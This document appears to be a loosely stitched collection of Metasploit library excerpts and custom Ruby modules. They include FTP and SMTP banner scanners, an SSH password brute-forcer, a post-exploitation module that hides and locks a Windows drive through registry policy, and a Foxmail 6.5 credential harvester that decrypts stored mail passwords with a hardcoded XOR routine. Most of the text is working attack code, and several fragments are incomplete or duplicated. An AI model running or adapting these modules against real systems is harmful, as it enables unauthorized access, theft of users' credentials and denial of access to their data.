# lib/msf/core/exploit/ftp.rb
  #
  # This method establishes an FTP connection to host and port specified by
  # the 'rhost' and 'rport' methods. After connecting, the banner
  # message is read in and stored in the 'banner' attribute.
  #
  def connect(global = true, verbose = nil)
    verbose ||= datastore['FTPDEBUG']
    verbose ||= datastore['VERBOSE']

    print_status("Connecting to FTP server #{rhost}:#{rport}...") if verbose

    fd = super(global)

    # Wait for a banner to arrive...
    self.banner = recv_ftp_resp(fd)

    print_status("Connected to target FTP server.") if verbose

    # Return the file descriptor to the caller
    fd
  end

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::Ftp
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report

    def initialize
        super(
            'Name' => 'FTP Version Scanner Customized Module',
            'Description' => 'Detect FTP Version from the Target',
            'Author' => 'Rambo',
            'License' => 'MSF_LICENSE'
        )
        register_options(
            [
                Opt::RPORT(21),
            ], self.class
        )
    end

  #
  # Creates an instance of an FTP exploit module.
  #
  def initialize(info = {})
    super

    # Register the options that all FTP exploits may make use of.
    register_options(
      [
        Opt::RHOST,
        Opt::RPORT(21),
        OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'anonymous']),
        OptString.new('FTPPASS', [ false, 'The password for the specified username', 'mozilla@example.com'])
      ], Msf::Exploit::Remote::Ftp)

  end

#
# Initializes an instance of a recon auxiliary module
#
def initialize(info = {})
  super

  register_options([
      OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]),
      OptInt.new('THREADS', [ true, "The number of concurrent threads", 1 ] )
    ], Auxiliary::Scanner)

  # RHOST should not be used in scanner modules, only RHOSTS
  deregister_options('RHOST')

    def run_host(target_host)
        connect(true, false)
        if(banner)
            print_good("#{rhost} is running #{banner}")
            report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner)
        end
        disconnect
    end
end

# lib/msf/core/exploit/smtp.rb
  #
  # This method establishes a SMTP connection to host and port specified by
  # the RHOST and RPORT options, respectively.  After connecting, the banner
  # message is read in and stored in the 'banner' attribute.
  #
  def connect(global = true)
    fd = super

    # Wait for a banner to arrive...
    self.banner = fd.get_once(-1, 30)
    # Return the file descriptor to the caller
    fd
  end

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::Smtp
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report
    
    def initialize
        super(
            'Name' => 'SMTP Version Scanner Customized Module',
            'Description' => 'Detect SMTP Version from the Target',
            'Author' => 'Rambo',
            'License' => 'MSF_LICENSE'
        )
        register_options(
            [
                Opt::RPORT(25),
            ], self.class
        )
    end

    def run_host(target_host)
        connect(false)
        if(banner)
            print_good("#{rhost} is running #{banner}")
            report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner)
        end
        disconnect
    end
end

  def initialize
    ...
    deregister_options('MAILFROM', 'MAILTO')
  end

  def run_host(ip)
    res = connect
    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
    print_good("#{ip}:#{rport} SMTP #{banner_sanitized}")
    report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner)
  end

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ssh'

class MetasploitModule < Msf::Auxiliary
	include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::AuthBrute
    def initialize
        super(
            'Name' => 'SSH Scanner',
			# %q is the same as single quote
            'Description' => %q{ 
				My Module.
			},
            'Author' => 'Rambo',
            'License' => 'MSF_LICENSE'
        )
        register_options(
            [
                Opt::RPORT(22),
            ], self.class
        )
    end

# msf/core/auxiliary/auth_brute.rb

# This module provides methods for brute forcing authentication

module Auxiliary::AuthBrute

  def initialize(info = {})
    super

    register_options([
      OptString.new('USERNAME', [ false, 'A specific username to authenticate as' ]),
      OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ]),
      OptPath.new('USER_FILE', [ false, "File containing usernames, one per line" ]),
      OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line" ]),
      OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line" ]),
      OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]),
      OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
      OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]),
      OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
      OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]),
      OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]),
      OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]),
      OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", false]),
    ], Auxiliary::AuthBrute)

	def run_host(ip)
		cred_collection = Metasploit::Framework::CredentialCollection.new(
			blank_passwords: datastore['BLANK_PASSWORDS'],
			pass_file: datastore['PASS_FILE'],
			password: datastore['PASSWORD'],
			user_file: datastore['USER_FILE'],
			userpass_file: datastore['USERPASS_FILE'],
			username: datastore['USERNAME'],
			user_as_pass: datastore['USER_AS_PASS'],
		)

		scanner = Metasploit::Framework::LoginScanner::SSH.new(
			host: ip,
			port: datastore['RPORT'],
			cred_details: cred_collection,
			proxies: datastore['PROXIES'],
			stop_on_success: datastore['STOP_ON_SUCCESS'],
			bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
			connection_timeout: datastore['SSH_TIMEOUT'],
			framework: framework,
			framework_module: self,
		)

		scanner.scan! do |result|
			credential_data = result.to_h
			credential_data.merge!(
				module_fullname: self.fullname,
				workspace_id: myworkspace_id
			)
			if result.success?
				credential_core = create_credential(credential_data)
				credential_data[:core] = credential_core
				create_credential_login(credential_data)

				print_good("#{ip} - LOGIN SUCCESSFUL: #{result.credential}")
			else
				invalidate_login(credential_data)
				print_status("#{ip} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
			end
		end
	end
end

# This is the LoginScanner class for dealing with the Secure Shell protocol.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.

# This module provides the base behaviour for all of
# the LoginScanner classes. All of the LoginScanners
# should include this module to establish base behaviour

# Attempt to login with every {Credential credential} in
# {#cred_details}, by calling {#attempt_login} once for each.
#
# If a successful login is found for a user, no more attempts
# will be made for that user.
#
# @yieldparam result [Result] The {Result} object for each attempt
# @yieldreturn [void]
# @return [void]

def scan!
  # Raise an exception if this scanner's attributes are not valid
  valid!
  # ...
  successful_users = Set.new
  # ...
  each_credential do |credential|
    # Skip users for whom we've have already found a password
    if successful_users.include?(credential.public)
      # For Pro bruteforce Reuse and Guess we need to note that we
      # skipped an attempt.
      if credential.parent.respond_to?(:skipped)
        credential.parent.skipped = true
        credential.parent.save!
      end
      next
    end
    # ...
    result = attempt_login(credential)
    result.freeze

    yield result if block_given?
    # ...
  end
  nil
end

yield result if block_given?

require 'rex'
require 'msf/core/post/windows/registry'

class MetasploitModule < Msf::Post
    include Msf::Post::Windows::Registry
    def initialize
        super(
            'Name' => 'Driver Disabler',
            # %q is the same as single quote
            'Description' => %q{
                This modules hides and restrict access to a drive.
            },
            'Author' => 'Rambo',
            'License' => 'MSF_LICENSE'
        )
        register_options(
            [
                # OptString.new(required, description)
                OptString.new('DriveName', [ true, 'Please SET the drive letter' ])
            ], self.class
        )
    end

    def run
        drive_int = drive_string(datastore['DriveName'])
        key1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"

        exists = meterpreter_registry_key_exist?(key1)
        if not exists
            print_error("Key doesn't exist, creating key!")
            registry_createkey(key1)
            print_good("Hiding drive")
            meterpreter_registry_setvaldata(key1, 'NoDrives', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_64_BIT)
            print_good("Restricting access to the drive")
            meterpreter_registry_setvaldata(key1, 'NoViewOnDrive', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_64_BIT)
        else
            print_good("Key exists, skipping and creating values.")
            print_good("Hiding drive")
            meterpreter_registry_setvaldata(key1, 'NoDrives', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_64_BIT)
            print_good("Restricting access to the drive")
            meterpreter_registry_setvaldata(key1, 'NoViewOnDrive', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_64_BIT)
        end
        print_good("#{datastore['DriveName']} Drive disabled")
    end
    
    # this is just the rule on Windows for the driver_names
    def drive_string(drive)
        case drive
        when 'A'
            return 1
        when 'B'
            return 2
        when 'C'
            return 4
        when 'D'
            return 8
        when 'E'
            return 16
        end
    end
end

# This is the default view. It reflects what the remote process would see
# natively. So, if you are using a remote 32-bit meterpreter session, you
# will see 32-bit registry keys and values.
REGISTRY_VIEW_NATIVE = 0

# Access 32-bit registry keys and values regardless of whether the session is
# 32 or 64-bit.
REGISTRY_VIEW_32_BIT = 1

# Access 64-bit registry keys and values regardless of whether the session is
# 32 or 64-bit.
REGISTRY_VIEW_64_BIT = 2

class MetasploitModule < Msf::Post
    include Msf::Post::Windows::Registry
    include Msf::Post::File
    include Msf::Auxiliary::Report
    include Msf::Post::Windows::UserProfiles

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Foxmail 6.5 Credential Harvester',
            # %q is the same as single quote
            'Description' => %q{
                This module finds and decrypts stored Foxmail 6.5 credentials
            },
            'Platform' => [ 'win' ],
            'SessionTypes' => [ 'Meterpreter' ],
            'Author' => [ 'Rambo' ],
            'License' => MSF_LICENSE
        ))
    end

    def run
        profile = grab_user_profiles()
        counter = 0
        data_entry = ""
        profile.each do |user|
            if user['LocalAppData']
                full_path = user['LocalAppData']
                full_path = full_path + "\\VirtualStore\\Program Files (x86)\\Foxmail\\mail"
                if directory?(full_path)
                    print_good("Foxmail installed, enumerating mail accounts...")
                    session.fs.dir.foreach(full_path) do |dir_list|
                        if dir_list =~ /@/
                            counter = counter + 1
                            full_path_mail = full_path + "\\" + dir_list + "\\" + "Account.stg"
                            if file?(full_path_mail)
                                print_good("Reading mail account #{counter}")
                                file_content = read_file(full_path_mail).split("\n")
                                file_content.each do |hash|
                                    if hash =~ /POP3Password/
                                        hash_data = hash.split("=")
                                        hash_value = hash_data[1]
                                        if hash_value.nil?
                                            print_error("No saved password.")
                                        else
                                            print_good("Decrypting password for mail account: #{dir_list}")
                                            decrypted_pass = decrypt(hash_value, dir_list)
                                            data_entry << "Username:" + dir_list + "\t" + "Password:" + decrypted_pass + "\n"
                                        end
                                    end
                                end
                            end
                        end
                    end
                end
            end
        end
        store_loot("Foxmail Accounts", "text/plain", session, data_entry, "Fox.txt", "FoxMail Accounts")
    end

  #
  # Load the registry hive for each user on the machine and parse out the
  # user profile information. Next, unload the hives we loaded and return
  # the user profiles.
  #
  def grab_user_profiles
    hives = load_missing_hives()
    profiles = parse_profiles(hives)
    unload_our_hives(hives)
    return profiles
  end

  def parse_profiles(hives)
    profiles=[]
    hives.each do |hive|
      profile = parse_profile(hive)
      profiles << profile
    end
    return profiles
  end

  def parse_profile(hive)
    profile={}
    profile['SID'] = hive['SID']
    profile['ProfileDir'] = hive['PROF']
    profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData')
    profile['LocalAppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'Local AppData')
    # ...
    profile['Cookies'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'Cookies')
    profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir'])
    profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH')
    # ...
    return profile
  end

    def decrypt(hash_real, dir_list)
        decoded = ""
        magic = Array[126, 100, 114, 97, 71, 111, 110, 126]
        fc0 = 90
        size = (hash_real.length - 1) / 2
        index = 0
        b = Array.new(size)
        for i in 0..size-1 do
            b[i] = (hash_real[index, 2]).hex
            index = index + 2
        end
        b[0] = b[0] ^ fc0
        double_magic = magic + magic
        d = Array.new(b.length - 1)
        for i in 1..b.length-1 do
            d[i-1] = b[i] ^ double_magic[i-1]
        end
        e = Array.new(d.length)
        for i in 0..d.length-1 do
            if(d[i] - b[i] < 0)
                e[i] = d[i] + 255 - b[i]
            else
                e[i] = d[i] - b[i]
            end
            decoded << e[i].chr
        end
        print_good("Found username #{dir_list} with password: #{decoded}")
        return decoded
    end
end